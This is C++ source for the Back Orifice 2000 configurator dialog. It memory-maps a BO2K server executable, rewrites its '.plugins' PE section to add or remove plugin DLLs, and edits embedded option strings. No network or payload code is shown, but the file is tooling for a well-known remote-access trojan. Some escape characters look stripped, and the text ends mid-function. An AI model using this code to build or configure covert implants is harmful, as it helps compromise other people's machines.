bo2kcfgDlg.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:30k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. // bo2kcfgDlg.cpp : implementation file
  16. //
  17. #include"stdafx.h"
  18. #include"bo2kcfg.h"
  19. #include"bo2kcfgDlg.h"
  20. #include<winnt.h>
  21. #include<bocomreg.h>
  22. #include<encryption.h>
  23. #include<iohandler.h>
  24. #include<plugins.h>
  25. #include<dll_load.h>
  26. #include"Wizard1.h"
  27. #include"Wizard2.h"
  28. #include"Wizard3.h"
  29. #include"Wizard4.h"
  30. #include"Wizard5.h"
  31. #include"Wizard6.h"
  32. #include"Wizard7.h"
  33. #ifdef _DEBUG
  34. #define new DEBUG_NEW
  35. #undef THIS_FILE
  36. static char THIS_FILE[] = __FILE__;
  37. #endif
  38. #define ROUND_TO(p,num) ((p%num)?(((p/num)+1)*num):p)
  39. /////////////////////////////////////////////////////////////////////////////
  40. // CBo2kcfgDlg dialog
  41. CBo2kcfgDlg::CBo2kcfgDlg(CWnd* pParent /*=NULL*/)
  42. : CDialog(CBo2kcfgDlg::IDD, pParent)
  43. {
  44. //{{AFX_DATA_INIT(CBo2kcfgDlg)
  45. // NOTE: the ClassWizard will add member initialization here
  46. //}}AFX_DATA_INIT
  47. // Note that LoadIcon does not require a subsequent DestroyIcon in Win32
  48. m_hLargeIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
  49. m_hSmallIcon = AfxGetApp()->LoadIcon(IDI_LITTLECOW);
  50. m_hButtWizard = AfxGetApp()->LoadIcon(IDI_BUTTWIZARD);
  51. m_hSvrMapping=NULL;
  52. m_pSvrView=NULL;
  53. m_arrPluginInfo.RemoveAll();
  54. m_arrVarInfo.RemoveAll();
  55. }
  56. void CBo2kcfgDlg::DoDataExchange(CDataExchange* pDX)
  57. {
  58. CDialog::DoDataExchange(pDX);
  59. //{{AFX_DATA_MAP(CBo2kcfgDlg)
  60. // NOTE: the ClassWizard will add DDX and DDV calls here
  61. //}}AFX_DATA_MAP
  62. }
  63. BEGIN_MESSAGE_MAP(CBo2kcfgDlg, CDialog)
  64. //{{AFX_MSG_MAP(CBo2kcfgDlg)
  65. ON_WM_PAINT()
  66. ON_WM_QUERYDRAGICON()
  67. ON_BN_CLICKED(IDC_OPENSERVER, OnOpenserver)
  68. ON_BN_CLICKED(IDC_CLOSESERVER, OnCloseserver)
  69. ON_BN_CLICKED(IDC_INSERT, OnInsert)
  70. ON_BN_CLICKED(IDC_SAVESERVER, OnSaveserver)
  71. ON_BN_CLICKED(IDC_REMOVE, OnRemove)
  72. ON_NOTIFY(TVN_SELCHANGED, IDC_OPTIONVARIABLES, OnSelchangedOptionvariables)
  73. ON_BN_CLICKED(IDC_BOOL_DISABLED, OnBoolDisabled)
  74. ON_BN_CLICKED(IDC_BOOL_ENABLED, OnBoolEnabled)
  75. ON_BN_CLICKED(IDC_SETVALUE, OnSetvalue)
  76. ON_BN_CLICKED(IDC_EXIT, OnExit)
  77. ON_WM_CLOSE()
  78. ON_BN_CLICKED(IDC_EXTRACT, OnExtract)
  79. ON_BN_CLICKED(IDC_WIZARD, OnWizard)
  80. //}}AFX_MSG_MAP
  81. END_MESSAGE_MAP()
  82. /////////////////////////////////////////////////////////////////////////////
  83. // CBo2kcfgDlg message handlers
  84. BOOL CBo2kcfgDlg::OnInitDialog()
  85. {
  86. CDialog::OnInitDialog();
  87. // Set the icon for this dialog.  The framework does this automatically
  88. //  when the application's main window is not a dialog
  89. SetIcon(m_hLargeIcon, TRUE); // Set big icon
  90. SetIcon(m_hSmallIcon, FALSE); // Set small icon
  91. ::SendMessage(GetDlgItem(IDC_WIZARD)->GetSafeHwnd(),BM_SETIMAGE,(WPARAM)IMAGE_ICON,(LPARAM)m_hButtWizard);
  92. // Disable controls initially
  93. EnableControls(FALSE);
  94. m_ImgList.Create(IDB_IMGLIST,16,1,RGB(0,255,0));
  95. CListCtrl *pLC=((CListCtrl *)GetDlgItem(IDC_PLUGINS));
  96. pLC->InsertColumn(0,"Plugin Name",LVCFMT_LEFT,100,-1);
  97. pLC->InsertColumn(1,"Version",LVCFMT_LEFT,48,-1);
  98. pLC->InsertColumn(2,"BO2K Ver",LVCFMT_LEFT,60,-1);
  99. pLC->InsertColumn(3,"Description",LVCFMT_LEFT,200,-1);
  100. pLC->SetImageList(&m_ImgList,LVSIL_SMALL);
  101. pLC->SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_HEADERDRAGDROP);
  102. CTreeCtrl *pTC=(CTreeCtrl *)GetDlgItem(IDC_OPTIONVARIABLES);
  103. pTC->SetImageList(&m_ImgList,TVSIL_NORMAL);
  104. // Do wizard on startup?
  105. BOOL bStartWiz=AfxGetApp()->GetProfileInt("Startup","Wizard",TRUE);
  106. if(bStartWiz) {
  107. DoWizard();
  108. }
  109. return TRUE;  // return TRUE  unless you set the focus to a control
  110. }
  111. // If you add a minimize button to your dialog, you will need the code below
  112. //  to draw the icon.  For MFC applications using the document/view model,
  113. //  this is automatically done for you by the framework.
  114. void CBo2kcfgDlg::OnPaint() 
  115. {
  116. if (IsIconic())
  117. {
  118. CPaintDC dc(this); // device context for painting
  119. SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
  120. // Center icon in client rectangle
  121. int cxIcon = GetSystemMetrics(SM_CXICON);
  122. int cyIcon = GetSystemMetrics(SM_CYICON);
  123. CRect rect;
  124. GetClientRect(&rect);
  125. int x = (rect.Width() - cxIcon + 1) / 2;
  126. int y = (rect.Height() - cyIcon + 1) / 2;
  127. // Draw the icon
  128. dc.DrawIcon(x, y, m_hSmallIcon);
  129. }
  130. else
  131. {
  132. CDialog::OnPaint();
  133. }
  134. }
  135. // The system calls this to obtain the cursor to display while the user drags
  136. //  the minimized window.
  137. HCURSOR CBo2kcfgDlg::OnQueryDragIcon()
  138. {
  139. return (HCURSOR) m_hSmallIcon;
  140. }
  141. void CBo2kcfgDlg::OnOpenserver() 
  142. {
  143. CFileDialog cfd(TRUE,".exe",NULL,OFN_FILEMUSTEXIST|OFN_HIDEREADONLY,"Executable Files (*.exe)|*.exe|All Files (*.*)|*.*||",this); 
  144. if(cfd.DoModal()==IDOK) {
  145. if(IsValidServer(cfd.GetPathName())) {
  146. if(!OpenServer(cfd.GetPathName())) {
  147. AfxMessageBox("The BO2K server you have selected could not be loaded.");
  148. }
  149. } else {
  150. AfxMessageBox("The file you selected is not a BO2K server.");
  151. }
  152. }
  153. }
  154. void CBo2kcfgDlg::EnableControls(BOOL bEnable)
  155. {
  156. // Deselect All List/Tree Controls
  157. ((CTreeCtrl *)GetDlgItem(IDC_OPTIONVARIABLES))->SelectItem(NULL);
  158. ((CListCtrl *)GetDlgItem(IDC_PLUGINS))->SetSelectionMark(-1);
  159. // Enable/Disable Controls
  160. GetDlgItem(IDC_SAVESERVER)->EnableWindow(bEnable);
  161. GetDlgItem(IDC_CLOSESERVER)->EnableWindow(bEnable);
  162. GetDlgItem(IDC_STATIC1)->EnableWindow(bEnable);
  163. GetDlgItem(IDC_STATIC2)->EnableWindow(bEnable);
  164. GetDlgItem(IDC_STATIC_NEWVAL)->EnableWindow(FALSE);
  165. GetDlgItem(IDC_STATIC_CURVAL)->EnableWindow(FALSE);
  166. GetDlgItem(IDC_PLUGINS)->EnableWindow(bEnable);
  167. GetDlgItem(IDC_OPTIONVARIABLES)->EnableWindow(bEnable);
  168. GetDlgItem(IDC_STR_NEWVALUE)->EnableWindow(FALSE);
  169. GetDlgItem(IDC_STR_CURRENTVALUE)->EnableWindow(FALSE);
  170. GetDlgItem(IDC_SETVALUE)->EnableWindow(FALSE);
  171. GetDlgItem(IDC_BOOL_ENABLED)->EnableWindow(FALSE);
  172. GetDlgItem(IDC_BOOL_DISABLED)->EnableWindow(FALSE);
  173. GetDlgItem(IDC_BOOL_GROUP)->EnableWindow(FALSE);
  174. GetDlgItem(IDC_INSERT)->EnableWindow(bEnable);
  175. GetDlgItem(IDC_REMOVE)->EnableWindow(bEnable);
  176. GetDlgItem(IDC_EXTRACT)->EnableWindow(bEnable);
  177. }
  178. BOOL CBo2kcfgDlg::IsValidPlugin(LPCSTR svPath)
  179. {
  180. HMODULE hMod;
  181. hMod=LoadDLL(svPath);
  182. if(hMod==NULL) return FALSE;
  183. if(GetDLLProcAddress(hMod,"InstallPlugin")==NULL) {
  184. FreeDLL(hMod);
  185. return FALSE;
  186. }
  187. FreeDLL(hMod);
  188. return TRUE;
  189. }
  190. BOOL CBo2kcfgDlg::IsValidServer(LPCSTR svPath)
  191. {
  192. HMODULE hMod;
  193. hMod=LoadLibrary(svPath);
  194. if(hMod==NULL) return FALSE;
  195. BYTE *pImage=(BYTE *)hMod;
  196. // Get PE Header
  197. PIMAGE_FILE_HEADER pfh;
  198. pfh=(PIMAGE_FILE_HEADER) PEFHDROFFSET(pImage);
  199. // Get Section Count
  200. int nSectionCount;
  201. nSectionCount=pfh->NumberOfSections;
  202. // Get Section Header
  203. PIMAGE_SECTION_HEADER psh;
  204.     psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET (pImage);
  205. // Find the ".plugins" segment
  206. int i;
  207. for(i=0;i<nSectionCount;i++) {
  208. if( (*((DWORD *)(psh->Name))==0x756C702E) &&
  209. (*(((DWORD *)(psh->Name))+1)==0x736E6967) ) {
  210. break;
  211. }
  212. psh++;
  213. }
  214. if(i==nSectionCount) {
  215. FreeModule(hMod);
  216. return FALSE;
  217. }
  218. FreeModule(hMod);
  219. return TRUE;
  220. }
  221. BOOL CBo2kcfgDlg::OpenServer(LPCSTR svPath)
  222. {
  223. // Close server if currently open
  224. CloseServer();
  225. // Open server file
  226. HANDLE hSvrFile;
  227. m_strSvrPath=svPath;
  228. hSvrFile=CreateFile(svPath,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
  229. if(hSvrFile==NULL) return FALSE;
  230. m_dwRawFileSize=GetFileSize(hSvrFile,NULL);
  231. // Memory map it
  232. BYTE *pImage;
  233. m_hSvrMapping=CreateFileMapping(hSvrFile,NULL,PAGE_READWRITE,0,0,NULL);
  234. CloseHandle(hSvrFile);
  235. if(m_hSvrMapping==NULL) return FALSE;
  236. m_pSvrView=(BYTE *)MapViewOfFile(m_hSvrMapping,FILE_MAP_ALL_ACCESS,0,0,0);
  237. pImage=(BYTE *)m_pSvrView;
  238. if(pImage==NULL) {
  239. CloseHandle(m_hSvrMapping);
  240. m_hSvrMapping=NULL;
  241. return FALSE;
  242. }
  243. // Get PE Header and Optional Header
  244. PIMAGE_FILE_HEADER pfh;
  245. PIMAGE_OPTIONAL_HEADER poh;
  246. pfh=(PIMAGE_FILE_HEADER) PEFHDROFFSET(pImage);
  247. poh=(PIMAGE_OPTIONAL_HEADER) OPTHDROFFSET(pImage);
  248. m_dwRawLength=poh->SizeOfImage;
  249. // Get Section Count
  250. int nSectionCount;
  251. nSectionCount=pfh->NumberOfSections;
  252. // Get Section Header
  253. PIMAGE_SECTION_HEADER psh;
  254.     psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET (pImage);
  255. // Find the ".plugins" segment
  256. int i;
  257. for(i=0;i<nSectionCount;i++) {
  258. if( (*((DWORD *)(psh->Name))==0x756C702E) &&
  259. (*(((DWORD *)(psh->Name))+1)==0x736E6967) ) {
  260. break;
  261. }
  262. psh++;
  263. }
  264. if(i==nSectionCount) {
  265. CloseHandle(m_hSvrMapping);
  266. m_hSvrMapping=NULL;
  267. return FALSE;
  268. }
  269. // Get plugin header
  270. PATTACHMENT_HEADER pah;
  271. pah = (PATTACHMENT_HEADER)RVATOVA(pImage,psh->PointerToRawData);
  272. // Get a copy of each plugin
  273. int count;
  274. count=pah->nNumPlugins;
  275. if(count>0) {
  276. BYTE *pPlugin;
  277. DWORD dwSize,dwAtchLen;
  278. pPlugin=(((BYTE *)pah)+sizeof(ATTACHMENT_HEADER));
  279. dwAtchLen=sizeof(ATTACHMENT_HEADER);
  280. for(i=0;i<count;i++) {
  281. // Get plugin size
  282. dwSize=*((DWORD *)pPlugin);
  283. pPlugin+=sizeof(DWORD);
  284. // Insert plugin into list
  285. InsertPlugin(pPlugin,dwSize);
  286. dwAtchLen+=(dwSize+sizeof(DWORD));
  287. // Go to next plugin
  288. pPlugin+=dwSize;
  289. }
  290. dwAtchLen=ROUND_TO(dwAtchLen,4096);
  291. m_dwRawLength-=dwAtchLen;
  292. m_dwRawFileSize-=dwAtchLen;
  293. } else {
  294. m_dwRawLength-=4096;
  295. m_dwRawFileSize-=4096;
  296. }
  297. // Update dialog controls
  298. EnableControls(TRUE);
  299. GetDlgItem(IDC_FILENAME)->SetWindowText(svPath);
  300. CString str;
  301. str.Format("Server Info:n     Version %d.%dn",poh->MajorImageVersion,poh->MinorImageVersion);
  302. GetDlgItem(IDC_SERVERINFO)->SetWindowText(str);
  303. UpdateVariableList();
  304. return TRUE;
  305. }
  306. void CBo2kcfgDlg::CloseServer()
  307. {
  308. // Clear filename
  309. m_strSvrPath.Empty();
  310. // Close file mapping
  311. if(m_pSvrView!=NULL) {
  312. UnmapViewOfFile(m_pSvrView);
  313. m_pSvrView=NULL;
  314. }
  315. if(m_hSvrMapping!=NULL) {
  316. CloseHandle(m_hSvrMapping);
  317. m_hSvrMapping=NULL;
  318. }
  319. // Get plugins out of memory
  320. int i,count;
  321. count=m_arrPluginInfo.GetSize();
  322. for(i=0;i<count;i++) {
  323. PLUGIN_INFO pi;
  324. pi=m_arrPluginInfo.GetAt(i);
  325. free(pi.pPluginImage);
  326. }
  327. m_arrPluginInfo.RemoveAll();
  328. // Update dialog controls
  329. CListCtrl *pLC=((CListCtrl *)GetDlgItem(IDC_PLUGINS));
  330. pLC->DeleteAllItems();
  331. GetDlgItem(IDC_SERVERINFO)->SetWindowText("Server Info:");
  332. GetDlgItem(IDC_FILENAME)->SetWindowText("");
  333. EnableControls(FALSE);
  334. UpdateVariableList();
  335. }
  336. void CBo2kcfgDlg::OnCloseserver() 
  337. {
  338. CloseServer();
  339. }
  340. void CBo2kcfgDlg::OnInsert() 
  341. {
  342. CFileDialog cfd(TRUE,".dll",NULL,OFN_PATHMUSTEXIST | OFN_HIDEREADONLY,"DLL Files (*.dll)|*.dll|All Files (*.*)|*.*||",this);
  343. cfd.m_ofn.lpstrTitle="Insert BO2K Plugin";
  344. if(cfd.DoModal()==IDOK) {
  345. if(IsValidPlugin(cfd.GetPathName())) {
  346. BYTE *pPlugin;
  347. DWORD dwSize;
  348. CFile file;
  349. if(file.Open(cfd.GetPathName(),CFile::typeBinary)) {
  350. dwSize=file.GetLength();
  351. pPlugin=(BYTE *)malloc(dwSize);
  352. if(pPlugin==NULL) return;
  353. file.Read(pPlugin,dwSize);
  354. file.Close();
  355. InsertPlugin(pPlugin,dwSize);
  356. free(pPlugin);
  357. }
  358. } else {
  359. AfxMessageBox("The specified file is not a valid BO2K plugin");
  360. }
  361. }
  362. }
  363. BOOL CBo2kcfgDlg::InsertPlugin(BYTE *pPlugin, DWORD dwSize)
  364. {
  365. // Copy allocate plugin image
  366. PLUGIN_INFO pi;
  367. pi.pPluginImage=(BYTE *) malloc(dwSize);
  368. pi.dwPluginLen=dwSize;
  369. if(pi.pPluginImage!=NULL) {
  370. // Copy plugin image to save buffer
  371. memcpy(pi.pPluginImage,pPlugin,pi.dwPluginLen);
  372. pi.svFilename[0]=0;
  373. pi.svDescription[0]=0;
  374. pi.wVersionLo=0;
  375. pi.wVersionHi=0;
  376. pi.wBOVersionLo=0;
  377. pi.wBOVersionHi=0;
  378. // Load Plugin DLL
  379. HINSTANCE hDLL;
  380. hDLL=LoadDLLFromImage(pPlugin,NULL,0);
  381. if(hDLL!=NULL) {
  382. // Call plugin version information function
  383. PLUGIN_VERSION pv;
  384. TYPEOF_PluginVersion *PluginVersion=(TYPEOF_PluginVersion *)GetDLLProcAddress(hDLL,"PluginVersion");
  385. if(PluginVersion!=NULL) {
  386. if(PluginVersion(&pv)) {
  387. // Copy plugin version information
  388. lstrcpyn(pi.svFilename,pv.svFilename,MAX_PATH+1);
  389. lstrcpyn(pi.svDescription,pv.svDescription,256);
  390. pi.wVersionLo=pv.wVersionLo;
  391. pi.wVersionHi=pv.wVersionHi;
  392. pi.wBOVersionLo=pv.wBOVersionLo;
  393. pi.wBOVersionHi=pv.wBOVersionHi;
  394. }
  395. }
  396. FreeDLL(hDLL);
  397. }
  398. // Add to plugins array
  399. int nPos=m_arrPluginInfo.Add(pi);
  400. // Insert into control
  401. CString str;
  402. CListCtrl *pLC=((CListCtrl *)GetDlgItem(IDC_PLUGINS));
  403. pLC->InsertItem(nPos,pi.svFilename,0);
  404. str.Format("%d.%d",pi.wVersionHi,pi.wVersionLo);
  405. pLC->SetItem(nPos,1,LVIF_TEXT,str,0,0,0,0);
  406. str.Format("%d.%d",pi.wBOVersionHi,pi.wBOVersionLo);
  407. pLC->SetItem(nPos,2,LVIF_TEXT,str,0,0,0,0);
  408. pLC->SetItem(nPos,3,LVIF_TEXT,pi.svDescription,0,0,0,0);
  409. // Update variable list
  410. UpdateVariableList();
  411. return TRUE;
  412. }
  413. return FALSE;
  414. }
  415. void CBo2kcfgDlg::OnSaveserver() 
  416. {
  417. if(!SaveServer()) {
  418. AfxMessageBox("There was a problem saving the server file.");
  419. } else {
  420. AfxMessageBox("Server file saved",MB_OK|MB_ICONINFORMATION|MB_TOPMOST|MB_SETFOREGROUND);
  421. }
  422. }
  423. void CBo2kcfgDlg::OnOK() 
  424. {
  425. }
  426. void CBo2kcfgDlg::OnCancel() 
  427. {
  428. }
  429. void CBo2kcfgDlg::OnRemove() 
  430. {
  431. // Get Selected List Item
  432. CListCtrl *pLC=((CListCtrl *)GetDlgItem(IDC_PLUGINS));
  433. int nItem;
  434. nItem=pLC->GetSelectionMark();
  435. if(nItem==-1) return;
  436. // Get plugin out of memory
  437. PLUGIN_INFO pi;
  438. pi=m_arrPluginInfo.GetAt(nItem);
  439. free(pi.pPluginImage);
  440. m_arrPluginInfo.RemoveAt(nItem);
  441. // Remove List Item
  442. pLC->DeleteItem(nItem);
  443. // Update variable list
  444. UpdateVariableList();
  445. }
  446. BOOL CBo2kcfgDlg::SaveServer()
  447. {
  448. // ------- Adjust length of file and append new plugins --------
  449. int i,count;
  450. DWORD dwAtchLen;
  451. count=m_arrPluginInfo.GetSize();
  452. // Close file mapping
  453. UnmapViewOfFile(m_pSvrView);
  454. if(m_hSvrMapping!=NULL) {
  455. CloseHandle(m_hSvrMapping);
  456. m_hSvrMapping=NULL;
  457. }
  458. // Open File and truncate length
  459. CFile sf(m_strSvrPath,CFile::modeWrite|CFile::typeBinary);
  460. sf.SetLength(m_dwRawFileSize);
  461. if(count>0) {
  462. // Append number of plugins
  463. dwAtchLen=sizeof(ATTACHMENT_HEADER);
  464. ATTACHMENT_HEADER ah;
  465. ah.nNumPlugins=count;
  466. sf.Write(&ah,sizeof(ATTACHMENT_HEADER));
  467. // Append plugins
  468. for(i=0;i<count;i++) {
  469. dwAtchLen+=(m_arrPluginInfo[i].dwPluginLen+sizeof(ATTACHMENT_INDEX));
  470. // Append plugin index
  471. ATTACHMENT_INDEX ai;
  472. ai.dwPluginSize=m_arrPluginInfo[i].dwPluginLen;
  473. sf.Write(&ai,sizeof(ATTACHMENT_INDEX));
  474. // Append plugin
  475. sf.Write(m_arrPluginInfo[i].pPluginImage,ai.dwPluginSize);
  476. }
  477. // Round to nearest 4096 boundary
  478. DWORD dwWrite=dwAtchLen;
  479. dwAtchLen=ROUND_TO(dwAtchLen,4096);
  480. dwWrite=dwAtchLen-dwWrite;
  481. BYTE bNull=0;
  482. for(i=0;(DWORD)i<dwWrite;i++) {
  483. sf.Write(&bNull,1);
  484. }
  485. } else {
  486. // Empty segment
  487. BYTE bNull=0;
  488. for(i=0;i<4096;i++) {
  489. sf.Write(&bNull,1);
  490. }
  491. dwAtchLen=4096;
  492. }
  493. // Close file
  494. sf.Close();
  495. // Reopen file mapping objects
  496. HANDLE hSvrFile;
  497. hSvrFile=CreateFile(m_strSvrPath,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
  498. if(hSvrFile==NULL) return FALSE;
  499. // Memory map it
  500. BYTE *pImage;
  501. m_hSvrMapping=CreateFileMapping(hSvrFile,NULL,PAGE_READWRITE,0,0,NULL);
  502. CloseHandle(hSvrFile);
  503. if(m_hSvrMapping==NULL) return FALSE;
  504. m_pSvrView=(BYTE *)MapViewOfFile(m_hSvrMapping,FILE_MAP_ALL_ACCESS,0,0,0);
  505. pImage=(BYTE *)m_pSvrView;
  506. if(pImage==NULL) {
  507. CloseHandle(m_hSvrMapping);
  508. m_hSvrMapping=NULL;
  509. return FALSE;
  510. }
  511. // Get PE Header and Optional Header
  512. PIMAGE_FILE_HEADER pfh;
  513. PIMAGE_OPTIONAL_HEADER poh;
  514. pfh=(PIMAGE_FILE_HEADER) PEFHDROFFSET(pImage);
  515. poh=(PIMAGE_OPTIONAL_HEADER) OPTHDROFFSET(pImage);
  516. // Get Section Count
  517. int nSectionCount;
  518. nSectionCount=pfh->NumberOfSections;
  519. // Get Section Header
  520. PIMAGE_SECTION_HEADER psh;
  521. psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET (pImage);
  522. // Find the ".plugins" segment
  523. for(i=0;i<nSectionCount;i++) {
  524. if( (*((DWORD *)(psh->Name))==0x756C702E) &&
  525. (*(((DWORD *)(psh->Name))+1)==0x736E6967) ) {
  526. break;
  527. }
  528. psh++;
  529. }
  530. if(i==nSectionCount) {
  531. CloseHandle(m_hSvrMapping);
  532. m_hSvrMapping=NULL;
  533. return FALSE;
  534. }
  535. // Modify '.plugins' section to include proper length
  536. psh->SizeOfRawData=dwAtchLen;
  537. psh->Misc.VirtualSize=dwAtchLen;
  538. // Change length of file appropriately.
  539. poh->SizeOfImage=m_dwRawLength+dwAtchLen;
  540. FlushViewOfFile(m_pSvrView,0);
  541. return TRUE;
  542. }
  543. void CBo2kcfgDlg::UpdateVariableList()
  544. {
  545. CTreeCtrl *pTC=(CTreeCtrl *)GetDlgItem(IDC_OPTIONVARIABLES);
  546. pTC->DeleteAllItems();
  547. m_arrVarInfo.RemoveAll();
  548. // Add server config options
  549. if(m_pSvrView!=NULL) {
  550. AddVariables((char *)m_pSvrView,m_dwRawFileSize,-1);
  551. }
  552. // Add options for all plugins
  553. int i,count;
  554. count=m_arrPluginInfo.GetSize();
  555. for(i=0;i<count;i++) {
  556. AddVariables((char *)m_arrPluginInfo[i].pPluginImage,m_arrPluginInfo[i].dwPluginLen,i);
  557. }
  558. // Add option variables to tree control
  559. count=m_arrVarInfo.GetSize();
  560. for(i=0;i<count;i++) {
  561. VARIABLE_INFO vi=m_arrVarInfo.GetAt(i);
  562. HTREEITEM hti;
  563. // Find category item
  564. hti=pTC->GetRootItem();
  565. while(hti!=NULL) {
  566. if(pTC->GetItemText(hti).Compare(vi.svCategory)==0) break;
  567. hti=pTC->GetNextSiblingItem(hti);
  568. }
  569. if(hti==NULL) {
  570. if(vi.nPlugin==-1) {
  571. hti=pTC->InsertItem(vi.svCategory,4,5);
  572. } else {
  573. hti=pTC->InsertItem(vi.svCategory,6,7);
  574. }
  575. pTC->SetItemData(hti,0xFFFFFFFF);
  576. }
  577. int nImg;
  578. if(vi.VarType=='B') nImg=3;
  579. else if(vi.VarType=='N') nImg=2;
  580. else if(vi.VarType=='S') nImg=1;
  581. hti=pTC->InsertItem(vi.svVarName,nImg,nImg,hti);
  582. pTC->SetItemData(hti,i);
  583. }
  584. }
  585. void CBo2kcfgDlg::AddVariables(char *pBuffer, DWORD dwLen, int nPlugin)
  586. {
  587. DWORD pos;
  588. for(pos=0;pos<dwLen-9;pos++) {
  589. if(memcmp(pBuffer+pos,"<**CFG**>",9)==0) {
  590. pos+=9;
  591. // Get category name
  592. VARIABLE_INFO vi;
  593. lstrcpyn(vi.svCategory,pBuffer+pos,256);
  594. pos+=(lstrlen(pBuffer+pos)+1);
  595. // Go through all variables
  596. while(*(pBuffer+pos)!='') {
  597. DWORD dwValPos;
  598. vi.VarType=*(pBuffer+pos);
  599. if(vi.VarType=='B') {
  600. pos+=2;
  601. // Get Name and Value
  602. DWORD dwStart=pos;
  603. while(*(pBuffer+pos)!='=') pos++;
  604. lstrcpyn(vi.svVarName,pBuffer+dwStart,min(pos-dwStart+1,256));
  605. pos++;
  606. dwValPos=pos;
  607. lstrcpyn(vi.svVarValue,pBuffer+pos,256);
  608. vi.nStrLen=1;
  609. pos+=2;
  610. } else if(vi.VarType=='N') {
  611. // Get Number Range
  612. pos+=2;
  613. vi.nNumLo=atoi(pBuffer+pos);
  614. while(*(pBuffer+pos)!=',') pos++;
  615. pos++;
  616. vi.nStrLen=pos;
  617. vi.nNumHi=atoi(pBuffer+pos);
  618. while(*(pBuffer+pos)!=']') pos++;
  619. vi.nStrLen=pos-vi.nStrLen;
  620. pos+=2;
  621. // Get Name and Value
  622. DWORD dwStart=pos;
  623. while(*(pBuffer+pos)!='=') pos++;
  624. lstrcpyn(vi.svVarName,pBuffer+dwStart,min(pos-dwStart+1,256));
  625. pos++;
  626. dwValPos=pos;
  627. lstrcpyn(vi.svVarValue,pBuffer+pos,256);
  628. pos+=(vi.nStrLen+1);
  629. } else if(vi.VarType=='S') {
  630. // Get Number Range
  631. pos+=2;
  632. vi.nStrLen=atoi(pBuffer+pos);
  633. while(*(pBuffer+pos)!=']') pos++;
  634. pos+=2;
  635. // Get Name and Value
  636. DWORD dwStart=pos;
  637. while(*(pBuffer+pos)!='=') pos++;
  638. lstrcpyn(vi.svVarName,pBuffer+dwStart,min(pos-dwStart+1,256));
  639. pos++;
  640. lstrcpyn(vi.svVarValue,pBuffer+pos,256);
  641. dwValPos=pos;
  642. pos+=(vi.nStrLen+1);
  643. } else {
  644. AfxMessageBox("Error parsing variables. Variable list could not be determined.");
  645. return;
  646. }
  647. // Add to variable info array
  648. vi.nPlugin=nPlugin;
  649. vi.dwPos=dwValPos;
  650. m_arrVarInfo.Add(vi);
  651. }
  652. }
  653. }
  654. }
  655. void CBo2kcfgDlg::OnSelchangedOptionvariables(NMHDR* pNMHDR, LRESULT* pResult) 
  656. {
  657. NMTREEVIEW *pNMTreeView = (NMTREEVIEW*)pNMHDR;
  658. // Hide all option controls
  659. GetDlgItem(IDC_STATIC_NEWVAL)->EnableWindow(FALSE);
  660. GetDlgItem(IDC_STATIC_CURVAL)->EnableWindow(FALSE);
  661. GetDlgItem(IDC_STR_NEWVALUE)->EnableWindow(FALSE);
  662. GetDlgItem(IDC_STR_CURRENTVALUE)->EnableWindow(FALSE);
  663. GetDlgItem(IDC_SETVALUE)->EnableWindow(FALSE);
  664. GetDlgItem(IDC_BOOL_ENABLED)->EnableWindow(FALSE);
  665. GetDlgItem(IDC_BOOL_DISABLED)->EnableWindow(FALSE);
  666. GetDlgItem(IDC_BOOL_GROUP)->EnableWindow(FALSE);
  667. if(pNMTreeView->itemNew.hItem!=NULL) {
  668. int nVar=pNMTreeView->itemNew.lParam;
  669. if(nVar!=0xFFFFFFFF) {
  670. if(m_arrVarInfo[nVar].VarType=='B') {
  671. GetDlgItem(IDC_BOOL_GROUP)->EnableWindow();
  672. GetDlgItem(IDC_BOOL_ENABLED)->EnableWindow();
  673. GetDlgItem(IDC_BOOL_DISABLED)->EnableWindow();
  674. if(atoi(m_arrVarInfo[nVar].svVarValue)) {
  675. ((CButton *)GetDlgItem(IDC_BOOL_ENABLED))->SetCheck(1);
  676. ((CButton *)GetDlgItem(IDC_BOOL_DISABLED))->SetCheck(0);
  677. } else {
  678. ((CButton *)GetDlgItem(IDC_BOOL_DISABLED))->SetCheck(1);
  679. ((CButton *)GetDlgItem(IDC_BOOL_ENABLED))->SetCheck(0);
  680. }
  681. } else if(m_arrVarInfo[nVar].VarType=='N') {
  682. GetDlgItem(IDC_STATIC_NEWVAL)->EnableWindow();
  683. GetDlgItem(IDC_STATIC_CURVAL)->EnableWindow();
  684. GetDlgItem(IDC_STR_NEWVALUE)->EnableWindow();
  685. GetDlgItem(IDC_STR_CURRENTVALUE)->EnableWindow();
  686. GetDlgItem(IDC_SETVALUE)->EnableWindow();
  687. GetDlgItem(IDC_STR_CURRENTVALUE)->SetWindowText(m_arrVarInfo[nVar].svVarValue);
  688. GetDlgItem(IDC_STR_NEWVALUE)->SetWindowText("");
  689. ((CEdit *)GetDlgItem(IDC_STR_CURRENTVALUE))->SetLimitText(m_arrVarInfo[nVar].nStrLen);
  690. ((CEdit *)GetDlgItem(IDC_STR_NEWVALUE))->SetLimitText(m_arrVarInfo[nVar].nStrLen);
  691. GetDlgItem(IDC_STR_CURRENTVALUE)->ModifyStyle(0,ES_NUMBER);
  692. GetDlgItem(IDC_STR_NEWVALUE)->ModifyStyle(0,ES_NUMBER);
  693. } else if(m_arrVarInfo[nVar].VarType=='S') {
  694. GetDlgItem(IDC_STATIC_NEWVAL)->EnableWindow();
